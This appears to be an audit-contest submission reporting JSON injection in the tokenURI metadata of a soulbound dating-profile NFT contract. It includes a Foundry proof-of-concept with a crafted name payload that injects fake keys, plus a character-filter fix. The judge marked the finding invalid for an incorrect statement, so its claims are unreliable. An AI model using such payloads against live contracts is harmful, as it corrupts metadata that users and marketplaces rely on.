DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: medium
Likelihood: low
Invalid

NFT metadata allows JSON injection / malformed metadata

Root + Impact

Description

  • name and profileImage are inserted directly into JSON.

  • A user can include quotes or JSON control characters to break or manipulate the metadata returned by tokenURI(). This is not a protocol-fund theft issue, but it can affect frontends/indexers.


@SoulboundProfileNFT.sol from line 93
bytes( // bytes casting actually unnecessary as 'abi.encodePacked()' returns a bytes
abi.encodePacked(
'{"name":"',
profileName,
'", ',
'"description":"A soulbound dating profile NFT.", ',
'"attributes": [{"trait_type": "Age", "value": ',
Strings.toString(profileAge),
"}], ",
'"image":"',
imageURI,
'"}'
)
)

Risk

Likelihood:

  • High. Exploitable by any user at mint with zero preconditions — just pass a crafted name or profileImage string containing ", }, or ,


Impact:

  • Medium. No funds at risk. However a malicious user can break metadata parsing for frontends and NFT indexers (OpenSea, etc.), spoof or overwrite display fields, or inject unexpected keys — corrupting how any matched user's profile is rendered.


Proof of Concept

tokenURI() builds a JSON string by directly concatenating user-supplied name and profileImage values. There is no sanitisation. A user mints with a name containing " and extra JSON fields — the resulting string is valid JSON that a parser will read differently from what the contract intended.

Write this new test contract and Ran with command: forge test --match-path JSONInjectionPoC.t.sol -vvvv


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
contract JSONInjectionPoC is Test {
SoulboundProfileNFT profileNFT;
address alice = address(0xA11CE);
function setUp() public {
profileNFT = new SoulboundProfileNFT();
}
function testJSONInjection() public {
// Alice injects a closing quote and extra JSON fields into her name.
// The injected payload closes the "name" field early, then appends a
// fake "admin" key and reopens a dummy string to absorb the remaining
// legitimate JSON so the overall structure stays valid.
string memory maliciousName =
'Alice","admin":"true","junk":"';
vm.prank(alice);
profileNFT.mintProfile(maliciousName, 25, "ipfs://alice");
uint256 tokenId = profileNFT.profileToToken(alice);
string memory uri = profileNFT.tokenURI(tokenId);
// Log the raw output so the broken structure is visible in test output
emit log_string(uri);
// What a frontend/indexer parser actually reads:
// "name" : "Alice" ← truncated at the injected quote
// "admin" : "true" ← attacker-controlled field injected
// "junk" : "...<rest>" ← absorbs the legitimate trailing fields
//
// The intended "age" and "profileImage" fields are swallowed into
// the junk string and never surface as top-level keys.
// Confirm the raw URI contains the injected key
assertTrue(
_contains(uri, '"admin":"true"'),
"injected admin field present in tokenURI output"
);
}
/// @dev Minimal substring check — avoids external dependencies
function _contains(string memory src, string memory needle)
internal pure returns (bool)
{
bytes memory s = bytes(src);
bytes memory n = bytes(needle);
if (n.length > s.length) return false;
for (uint256 i = 0; i <= s.length - n.length; i++) {
bool found = true;
for (uint256 j = 0; j < n.length; j++) {
if (s[i + j] != n[j]) { found = false; break; }
}
if (found) return true;
}
return false;
}
}

Recommended Mitigation

Validate name and profileImage inputs at mint time — reject any string containing JSON control characters.

function _validateString(string memory str) internal pure {
bytes memory b = bytes(str);
for (uint256 i = 0; i < b.length; i++) {
require(
b[i] != '"' &&
b[i] != '{' &&
b[i] != '}' &&
b[i] != ',' &&
b[i] != '\\',
"Invalid character in input"
);
}
}
function mintProfile(string memory name, uint256 age, string memory profileImage)
external
{
_validateString(name);
_validateString(profileImage);
// ... rest of mint logic
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!